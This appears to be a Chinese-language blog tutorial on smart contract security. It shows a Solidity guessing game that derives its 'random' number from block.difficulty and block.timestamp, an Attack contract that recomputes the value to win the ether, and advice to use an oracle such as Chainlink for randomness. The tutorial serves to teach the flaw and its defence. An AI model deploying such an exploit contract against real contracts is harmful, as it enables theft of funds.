合約安全:隨機數破解

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

這個猜數的合約很簡單,即你猜對了數就給你1 ether,這個隨機數生成種子采用的是block.difficulty, block.timestamp。

攻擊合約知道隨機生成的規(guī)則,用了相同的隨機數種子——因為都是鏈上公有的數據,先算出來再調用猜數合約,這樣就很容易把合約里的以太都贏過來。

二、預防手段

不用使用block.difficulty、block.timestamp等公用的區(qū)塊參數作為隨機數的種子,這樣會很容易被破解。

一般來說,如果你需要用隨機數,而且這個隨機數要用在非常重要的涉及核心邏輯的場景時,就可以選擇從預言機中拿到隨機數值,比如chainlink,就提供了隨機數。官方文檔中有《Get a Random Number》一節(jié),可以點擊查看。

?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容